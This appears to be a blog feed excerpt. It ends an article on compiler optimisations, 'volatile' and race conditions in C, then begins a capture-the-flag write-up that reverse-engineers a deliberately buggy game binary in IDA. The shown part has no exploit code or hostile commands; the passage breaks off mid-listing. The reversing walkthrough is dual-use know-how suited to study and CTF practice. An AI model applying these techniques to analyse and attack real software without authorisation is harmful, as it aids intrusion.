You can generalize this cast as a macro &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;READ&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;x&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;((&lt;/span&gt;&lt;span class="k"&gt;volatile&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;typeof&lt;/span&gt;&lt;span class="p"&gt;((&lt;/span&gt;&lt;span class="n"&gt;x&lt;/span&gt;&lt;span class="p"&gt;)))(&lt;/span&gt;&lt;span class="n"&gt;x&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;
&lt;br /&gt;&lt;br /&gt;
Take at look at Linux’s &lt;a href="https://github.com/torvalds/linux/blob/f143c11bb7b924403ea2d5b5c990717772293620/include/linux/compiler.h#L275-L293"&gt;&lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;READ_ONCE&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/a&gt; for a more complete construction even for non-atomic/non-primitive variables.
&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;Or we could use &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="k"&gt;volatile&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; in a cast:&lt;/p&gt;
&lt;div class="highlight-candombe"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="kt"&gt;void&lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;loop&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kt"&gt;void&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="n"&gt;p&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="k"&gt;struct&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nc"&gt;ctx_t&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="n"&gt;ctx&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;p&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="kt"&gt;int&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="n"&gt;data&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;ctx&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;data&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="cm"&gt;/* non-volatile */&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="p"&gt;...&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="k"&gt;for&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kt"&gt;int&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;i&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;i&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;DATASZ&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;++&lt;/span&gt;&lt;span class="n"&gt;i&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;            &lt;/span&gt;&lt;span class="k"&gt;while&lt;/span&gt;&lt;span class="p"&gt;(((&lt;/span&gt;&lt;span class="k"&gt;volatile&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kt"&gt;int&lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="n"&gt;data&lt;/span&gt;&lt;span class="p"&gt;)[&lt;/span&gt;&lt;span class="n"&gt;i&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;%&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;2&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;==&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;n&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="w"&gt;            &lt;/span&gt;&lt;span class="o"&gt;++&lt;/span&gt;&lt;span class="n"&gt;data&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;i&lt;/span&gt;&lt;span class="p"&gt;];&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="p"&gt;...&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;In the first case, any further read of or write to data will not be optimized by the compiler; while in the second case only the read of the &lt;em&gt;array element&lt;/em&gt; will not be optimized.&lt;/p&gt;
&lt;p&gt;This is something that have an impact on the code generated.&lt;/p&gt;
&lt;p&gt;Even if the two programs run correctly, the latter case is slightly more efficient.&lt;/p&gt;
&lt;p&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span markdown='1'&gt;
On the left, the code when &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;data&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; was defined as &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="k"&gt;volatile&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kt"&gt;int&lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;; on the right, when only the read &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="p"&gt;((&lt;/span&gt;&lt;span class="k"&gt;volatile&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kt"&gt;int&lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="n"&gt;data&lt;/span&gt;&lt;span class="p"&gt;)[&lt;/span&gt;&lt;span class="n"&gt;i&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; was affected by &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="k"&gt;volatile&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;.
&lt;br /&gt;&lt;br /&gt;
Both codes were generated with &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;O3&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;: they are faster than the generated by &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;O0&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; but slower than &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;O3&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; &lt;em&gt;without&lt;/em&gt; &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="k"&gt;volatile&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;, still yielding the correct result.
&lt;br /&gt;&lt;br /&gt;
Notice how &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="o"&gt;++&lt;/span&gt;&lt;span class="n"&gt;data&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;i&lt;/span&gt;&lt;span class="p"&gt;];&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; was optimized on the right.
&lt;/span&gt;&lt;/figcaption&gt;
&lt;img  class='' alt='' src='/img/threading/optimization-under-rc/rcvolatile.png' /&gt;&lt;/figure&gt;&lt;/p&gt;
&lt;h2 id="conclusions"&gt;Conclusions&lt;/h2&gt;
&lt;p&gt;A race condition leads, by definition, to an undefined behaviour.&lt;/p&gt;
&lt;p&gt;And the compiler will take this as an opportunity for optimize the code even if that goes against the developer’s desires.&lt;/p&gt;
&lt;p&gt;&lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="k"&gt;volatile&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; prevents some of these optimizations but the race condition is &lt;strong&gt;still there&lt;/strong&gt; and therefore the undefined behaviour.&lt;/p&gt;
&lt;p&gt;This means that other parties like the CPU may perform optimizations and &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="k"&gt;volatile&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; will not help us.&lt;/p&gt;
&lt;h2 id="references"&gt;References&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="https://www.kernel.org/doc/html/v4.12/process/volatile-considered-harmful.html"&gt;Why the “volatile” type class should not be used&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://blog.regehr.org/archives/28"&gt;Nine ways to break your systems code using volatile&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
</content>
    <link href="https://book-of-gehn.github.io/articles/2020/02/07/Compiler-Optimizations-under-RC.html" rel="alternate" type="text/html" title="Compiler Optimizations under a Race Condition"/>
    <category term="reversing" label="reversing"/>
    <category term="IDA" label="IDA"/>
    <category term="performance" label="performance"/>
    <category term="volatile" label="volatile"/>
    <published>2020-02-07T00:00:00+00:00</published>
  </entry>
  <entry>
    <id>https://book-of-gehn.github.io/articles/2019/10/27/Writeup-EKO2019-RPG-Part-I-Reversing.html</id>
    <title>RPG - Part I (IDA writeup - EKO 2019)</title>
    <updated>2019-10-27T00:00:00+00:00</updated>
    <author>
      <name>Martin Di Paola</name>
    </author>
    <content type="html">&lt;p&gt;&lt;code&gt;rpg&lt;/code&gt; is a buggy game where the player can attack to and defend from attacks of monsters.&lt;/p&gt;
&lt;p&gt;Let’s see if we can know how it works.&lt;!--more--&gt;&lt;/p&gt;
&lt;p&gt;It is a 64 bits ELF &lt;a href="/assets/writeups/eko2019/reversing/rpg"&gt;binary&lt;/a&gt;:&lt;/p&gt;
&lt;div class="highlight-candombe"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;$&lt;span class="w"&gt; &lt;/span&gt;file&lt;span class="w"&gt; &lt;/span&gt;rpg&lt;span class="w"&gt;                      &lt;/span&gt;&lt;span class="c1"&gt;# byexample: +norm-ws&lt;/span&gt;
rpg:&lt;span class="w"&gt; &lt;/span&gt;ELF&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;64&lt;/span&gt;-bit&lt;span class="w"&gt; &lt;/span&gt;LSB&lt;span class="w"&gt; &lt;/span&gt;executable,&lt;span class="w"&gt; &lt;/span&gt;x86-64,&lt;span class="w"&gt; &lt;/span&gt;version&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;1&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;GNU/Linux&lt;span class="o"&gt;)&lt;/span&gt;,
statically&lt;span class="w"&gt; &lt;/span&gt;linked,&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;for&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;GNU/Linux&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;2&lt;/span&gt;.6.32,
BuildID&lt;span class="o"&gt;[&lt;/span&gt;sha1&lt;span class="o"&gt;]=&lt;/span&gt;&amp;lt;...&amp;gt;,&lt;span class="w"&gt; &lt;/span&gt;stripped
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;We expect some part of &lt;code&gt;libc&lt;/code&gt; in the binary and no symbol at all.&lt;/p&gt;
&lt;p&gt;So our first task is to find what pieces of the binary are of the game and which aren’t like &lt;code&gt;stdlib&lt;/code&gt;.&lt;/p&gt;
&lt;h2 id="strings-as-starting-points"&gt;Strings as Starting Points&lt;/h2&gt;
&lt;p&gt;Let’s see what strings we can find:&lt;/p&gt;
&lt;div class="highlight-candombe"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;$&lt;span class="w"&gt; &lt;/span&gt;strings&lt;span class="w"&gt; &lt;/span&gt;-a&lt;span class="w"&gt; &lt;/span&gt;-16&lt;span class="w"&gt; &lt;/span&gt;rpg&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;|&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;head&lt;span class="w"&gt; &lt;/span&gt;-14
Monster&lt;span class="w"&gt; &lt;/span&gt;%s&lt;span class="w"&gt; &lt;/span&gt;attack&lt;span class="w"&gt; &lt;/span&gt;to&lt;span class="w"&gt; &lt;/span&gt;%s&lt;span class="w"&gt; &lt;/span&gt;with&lt;span class="w"&gt; &lt;/span&gt;%d&lt;span class="w"&gt; &lt;/span&gt;damage.
%s&lt;span class="w"&gt; &lt;/span&gt;has&lt;span class="w"&gt; &lt;/span&gt;stopped&lt;span class="w"&gt; &lt;/span&gt;the&lt;span class="w"&gt; &lt;/span&gt;attack.
%s&lt;span class="w"&gt; &lt;/span&gt;is&lt;span class="w"&gt; &lt;/span&gt;dead.&lt;span class="w"&gt; &lt;/span&gt;GG&lt;span class="w"&gt; &lt;/span&gt;WP.
Monster&lt;span class="w"&gt; &lt;/span&gt;%s&lt;span class="w"&gt; &lt;/span&gt;defends&lt;span class="w"&gt; &lt;/span&gt;with&lt;span class="w"&gt; &lt;/span&gt;%d&lt;span class="w"&gt; &lt;/span&gt;of&lt;span class="w"&gt; &lt;/span&gt;defense.
%s&lt;span class="w"&gt; &lt;/span&gt;hit&lt;span class="w"&gt; &lt;/span&gt;a&lt;span class="w"&gt; &lt;/span&gt;critical&lt;span class="w"&gt; &lt;/span&gt;to&lt;span class="w"&gt; &lt;/span&gt;%s.
&lt;span class="m"&gt;0&lt;/span&gt;&lt;span class="o"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;Create&lt;span class="w"&gt; &lt;/span&gt;player
&lt;span class="m"&gt;1&lt;/span&gt;&lt;span class="o"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;Update&lt;span class="w"&gt; &lt;/span&gt;player&lt;span class="w"&gt; &lt;/span&gt;name
&lt;span class="m"&gt;2&lt;/span&gt;&lt;span class="o"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;Delete&lt;span class="w"&gt; &lt;/span&gt;player
&lt;span class="m"&gt;3&lt;/span&gt;&lt;span class="o"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;Player&lt;span class="w"&gt; &lt;/span&gt;attack
&lt;span class="m"&gt;4&lt;/span&gt;&lt;span class="o"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;Player&lt;span class="w"&gt; &lt;/span&gt;defend
&lt;span class="m"&gt;5&lt;/span&gt;&lt;span class="o"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;Get&lt;span class="w"&gt; &lt;/span&gt;current&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;time&lt;/span&gt;
User&lt;span class="w"&gt; &lt;/span&gt;created,&lt;span class="w"&gt; &lt;/span&gt;first&lt;span class="w"&gt; &lt;/span&gt;delete&lt;span class="w"&gt; &lt;/span&gt;it.
Enter&lt;span class="w"&gt; &lt;/span&gt;player&lt;span class="w"&gt; &lt;/span&gt;name:
User&lt;span class="w"&gt; &lt;/span&gt;not&lt;span class="w"&gt; &lt;/span&gt;created.
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;Running the program we can map those strings to a mental model of what it does:&lt;/p&gt;
&lt;p&gt;&lt;label for='CklmIHRoZSBwbGF5ZXIgd2FzIG5vdCBjcmVhdGVkLCB0aGUgb3B0aW9ucyAxIHRvIDQgcHJpbnQgYGBVc2VyIG5vdCBjcmVhdGVkLmBgOwppZiB0aGUgcGxheWVyIHdhcyBjcmVhdGVkIHNlbGVjdGluZyAwIGFnYWluIHlpZWxkcyBhCmBgVXNlciBjcmVhdGVkLCBmaXJzdCBkZWxldGUgaXQuYGAgbWFyZ2lubm90ZXM=' class='margin-toggle'&gt; &amp;#8853;&lt;/label&gt;
&lt;input type='checkbox' id='CklmIHRoZSBwbGF5ZXIgd2FzIG5vdCBjcmVhdGVkLCB0aGUgb3B0aW9ucyAxIHRvIDQgcHJpbnQgYGBVc2VyIG5vdCBjcmVhdGVkLmBgOwppZiB0aGUgcGxheWVyIHdhcyBjcmVhdGVkIHNlbGVjdGluZyAwIGFnYWluIHlpZWxkcyBhCmBgVXNlciBjcmVhdGVkLCBmaXJzdCBkZWxldGUgaXQuYGAgbWFyZ2lubm90ZXM=' class='margin-toggle'/&gt;
&lt;span class='marginnote'&gt;
If the player was not created, the options 1 to 4 print &lt;code&gt;User not created.&lt;/code&gt;; if the player was created selecting 0 again yields a &lt;code&gt;User created, first delete it.&lt;/code&gt;
&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span markdown='1'&gt;
&lt;/span&gt;&lt;/figcaption&gt;
&lt;object style="display: block; margin-left: auto; margin-right: auto;" class='' align='middle' data='/img/writeups/eko2019/reversing/mentalmodel.svg' type='image/svg+xml'&gt;&lt;/object&gt;&lt;/figure&gt;&lt;/p&gt;
&lt;p&gt;Other strings shown up. Of course, I’m speculating the &lt;em&gt;conversion specifier&lt;/em&gt; like &lt;code&gt;%s&lt;/code&gt; and &lt;code&gt;%d&lt;/code&gt;:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;%s defends.
%s roar to %s.
Name: %s
Lives: %d&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;code&gt;ctrl+F12&lt;/code&gt; opens the &lt;em&gt;Strings window&lt;/em&gt; listing all the strings that IDA found. Pressing &lt;code&gt;enter&lt;/code&gt; in one of the strings, IDA shows us the memory where it was found.&lt;/p&gt;
&lt;p&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span markdown='1'&gt;
Read-only &lt;a href="https://en.wikipedia.org/wiki/Data_segment"&gt;.rodata&lt;/a&gt; section where the strings of the game are stored: the ones that we found with &lt;code&gt;strings&lt;/code&gt;, the ones that we saw running the program and some others that we did not spot like &lt;code&gt;"date +%s"&lt;/code&gt;
&lt;/span&gt;&lt;/figcaption&gt;
&lt;img  class='' alt='' src='/img/writeups/eko2019/reversing/string_address.png' /&gt;&lt;/figure&gt;&lt;/p&gt;
&lt;h2 id="guessing-functions-from-their-arguments"&gt;Guessing Functions from their Arguments&lt;/h2&gt;
&lt;p&gt;From there we can go to the locations of the binary that have a reference to each string selecting the label (&lt;code&gt;aMonsterSAttack&lt;/code&gt;) and pressing &lt;code&gt;x&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span markdown='1'&gt;
Hint: the &lt;code&gt;mov     eax, 0&lt;/code&gt; before the call; the calling convention says that the &lt;em&gt;variadic&lt;/em&gt; function (like &lt;code&gt;printf&lt;/code&gt;) will receive 0 floating point arguments.
&lt;/span&gt;&lt;/figcaption&gt;
&lt;img  class='' alt='' src='/img/writeups/eko2019/reversing/monster_attack_loc.png' /&gt;&lt;/figure&gt;&lt;/p&gt;
&lt;p&gt;The de facto &lt;a href="https://en.wikipedia.org/wiki/X86_calling_conventions"&gt;calling convention&lt;/a&gt; in Linux 64 bits says that the first six parameters are passed to the callee in registers &lt;code&gt;rdi&lt;/code&gt;, &lt;code&gt;rsi&lt;/code&gt;, &lt;code&gt;rdx&lt;/code&gt;, &lt;code&gt;rcx&lt;/code&gt;, &lt;code&gt;r8&lt;/code&gt;, &lt;code&gt;r9&lt;/code&gt; (&lt;code&gt;xmm0&lt;/code&gt;, &lt;code&gt;xmm1&lt;/code&gt;, &lt;code&gt;xmm2&lt;/code&gt;, &lt;code&gt;xmm3&lt;/code&gt;, &lt;code&gt;xmm4&lt;/code&gt;, &lt;code&gt;xmm5&lt;/code&gt;, &lt;code&gt;xmm6&lt;/code&gt; and &lt;code&gt;xmm7&lt;/code&gt; for floating point arguments).&lt;/p&gt;
&lt;p&gt;With this we could assume that the next call after referencing &lt;code&gt;aMonsterSAttack&lt;/code&gt; is a &lt;code&gt;printf&lt;/code&gt;-like function.&lt;/p&gt;
&lt;p&gt;This is what we got:&lt;/p&gt;
&lt;p&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span markdown='1'&gt;
Press &lt;code&gt;n&lt;/code&gt; on top of a label we can change the name; press &lt;code&gt;:&lt;/code&gt; we can add a comment on that line.
&lt;/span&gt;&lt;/figcaption&gt;
&lt;img  class='' alt='' src='/img/writeups/eko2019/reversing/monster_attack_loc_labeled.png' /&gt;&lt;/figure&gt;&lt;/p&gt;
&lt;p&gt;&lt;label for='PGltZyAgY2xhc3M9J2Z1bGx3aWR0aCcgYWx0PScnIHNyYz0nL2ltZy93cml0ZXVwcy9la28yMDE5L3JldmVyc2luZy9zZWNvbmRfaW5kaXJlY3Rpb24ucG5nJyAvPgpUbyBnZXQgdGhlIHBvaW50ZXIgdG8gdGhlIHBsYXllcnMgbmFtZSB0aGUgY29kZSBkb2VzIGEgKnNlY29uZCogaW5kaXJlY3Rpb246CnBvc3NpYmx5IHdlIGFyZSBkZWFsaW5nIHdpdGggYW4gYXR0cmlidXRlIG9mIGEgYGBzdHJ1Y3RgYC4KbWFyZ2lu' class='margin-toggle'&gt;&amp;#8853;&lt;/label&gt;
&lt;input type='checkbox' id='PGltZyAgY2xhc3M9J2Z1bGx3aWR0aCcgYWx0PScnIHNyYz0nL2ltZy93cml0ZXVwcy9la28yMDE5L3JldmVyc2luZy9zZWNvbmRfaW5kaXJlY3Rpb24ucG5nJyAvPgpUbyBnZXQgdGhlIHBvaW50ZXIgdG8gdGhlIHBsYXllcnMgbmFtZSB0aGUgY29kZSBkb2VzIGEgKnNlY29uZCogaW5kaXJlY3Rpb246CnBvc3NpYmx5IHdlIGFyZSBkZWFsaW5nIHdpdGggYW4gYXR0cmlidXRlIG9mIGEgYGBzdHJ1Y3RgYC4KbWFyZ2lu' class='margin-toggle'/&gt;
&lt;span class='marginnote'&gt;
&lt;img  class='fullwidth' alt='' src='/img/writeups/eko2019/reversing/second_indirection.png' /&gt;
To get the pointer to the players name the code does a &lt;em&gt;second&lt;/em&gt; indirection: possibly we are dealing with an attribute of a &lt;code&gt;struct&lt;/code&gt;.
&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;code&gt;printf&lt;/code&gt;-like function call with four arguments: the format string, the name of the monster, name of the player and the damage.&lt;/p&gt;
&lt;p&gt;What about the code that &lt;em&gt;reads&lt;/em&gt; the player’s name?&lt;/p&gt;
&lt;p&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span markdown='1'&gt;
&lt;/span&gt;&lt;/figcaption&gt;
&lt;img  class='' alt='' src='/img/writeups/eko2019/reversing/enter_player_name_loc.png' /&gt;&lt;/figure&gt;&lt;/p&gt;
&lt;p&gt;Three calls happen after the print of the message. One of them should be a &lt;code&gt;read&lt;/code&gt; like function:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;sub_4117C0&lt;/code&gt;: unlikely, it only receives one parameter (&lt;code&gt;cs:off_6CC840&lt;/code&gt;)&lt;/li&gt;
&lt;li&gt;&lt;code&gt;sub_400D16&lt;/code&gt;: more likely, it receives a buffer and a size (&lt;code&gt;100h&lt;/code&gt;)&lt;/li&gt;
&lt;li&gt;&lt;code&gt;sub_425850&lt;/code&gt;: unlikely, it receives the buffer but not the size because the size previously set in &lt;code&gt;esi&lt;/code&gt; is &lt;a href="https://wiki.osdev.org/System_V_ABI"&gt;not preserved&lt;/a&gt; between calls so it could be garbage. Besides, &lt;code&gt;sub_425850&lt;/code&gt; is not call when the user needs to select an option in the main menu so it is unlikely that it is a &lt;code&gt;read&lt;/code&gt; like.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;label for='CklmIHlvdSBzYWlkLCAqZXkhKiwgbWF5IGJlIHRoZXJlIGlzIGEgYnVmZmVyIG92ZXJmbG93IHRoZXJlLiBOby4KRG91YmxlIGNsaWNrIGluIGBgc2J1ZmBgIHRvIGdvIHRvIHRoZSAqU3RhY2sgdmlldyogYW5kIHJpZ2h0IGNsaWNrIG9uIGBgc2J1ZmBgCmFuZCBzZWxlY3QgYGBDb252ZXJ0IHRvIEFycmF5YGA6IGJhc2VkIG9uIElEQSBhbmFseXNpcyB0aGVyZSBhcmUgYXQgbGVhc3QKMjY0IGJ5dGVzIChncmVhdGVyIHRoYW4gYGAxMDBoYGAgbyAyNTYpLiBtYXJnaW5ub3Rlcw==' class='margin-toggle'&gt; &amp;#8853;&lt;/label&gt;
&lt;input type='checkbox' id='CklmIHlvdSBzYWlkLCAqZXkhKiwgbWF5IGJlIHRoZXJlIGlzIGEgYnVmZmVyIG92ZXJmbG93IHRoZXJlLiBOby4KRG91YmxlIGNsaWNrIGluIGBgc2J1ZmBgIHRvIGdvIHRvIHRoZSAqU3RhY2sgdmlldyogYW5kIHJpZ2h0IGNsaWNrIG9uIGBgc2J1ZmBgCmFuZCBzZWxlY3QgYGBDb252ZXJ0IHRvIEFycmF5YGA6IGJhc2VkIG9uIElEQSBhbmFseXNpcyB0aGVyZSBhcmUgYXQgbGVhc3QKMjY0IGJ5dGVzIChncmVhdGVyIHRoYW4gYGAxMDBoYGAgbyAyNTYpLiBtYXJnaW5ub3Rlcw==' class='margin-toggle'/&gt;
&lt;span class='marginnote'&gt;
If you said, &lt;em&gt;ey!&lt;/em&gt;, may be there is a buffer overflow there. No. Double click in &lt;code&gt;sbuf&lt;/code&gt; to go to the &lt;em&gt;Stack view&lt;/em&gt; and right click on &lt;code&gt;sbuf&lt;/code&gt; and select &lt;code&gt;Convert to Array&lt;/code&gt;: based on IDA analysis there are at least 264 bytes (greater than &lt;code&gt;100h&lt;/code&gt; o 256).
&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;Ok, if the second call (&lt;code&gt;sub_400D16&lt;/code&gt;) is &lt;code&gt;fgets?&lt;/code&gt;, the third should be a &lt;code&gt;strdup?&lt;/code&gt; call.&lt;/p&gt;
&lt;p&gt;Why?&lt;/p&gt;
&lt;p&gt;The name is stored in the stack so the only way to make it to survive is copying it to the heap or other global place. &lt;code&gt;strdup&lt;/code&gt; will do the trick.&lt;/p&gt;
&lt;p&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span markdown='1'&gt;
The last instruction marks that &lt;em&gt;the user was created&lt;/em&gt; in a global variable.
&lt;br /&gt;&lt;br /&gt;
&lt;code&gt;cs:is_user_created&lt;/code&gt; is tested against 0 in several places to check if the user was created or not.
&lt;/span&gt;&lt;/figcaption&gt;
&lt;img  class='' alt='' src='/img/writeups/eko2019/reversing/enter_player_name_loc_labeled.png' /&gt;&lt;/figure&gt;&lt;/p&gt;
&lt;h2 id="keep-guessing"&gt;Keep Guessing&lt;/h2&gt;
&lt;p&gt;The entire block configures the hypothetical &lt;code&gt;player_struct&lt;/code&gt; setting the name of the player at the offset 8 (like we saw before) and the lives of the player at the offset 0:&lt;/p&gt;
&lt;div class="highlight-candombe"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="nf"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;byte&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;ptr&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;rax&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;10&lt;/span&gt;&lt;span class="no"&gt;h&lt;/span&gt;
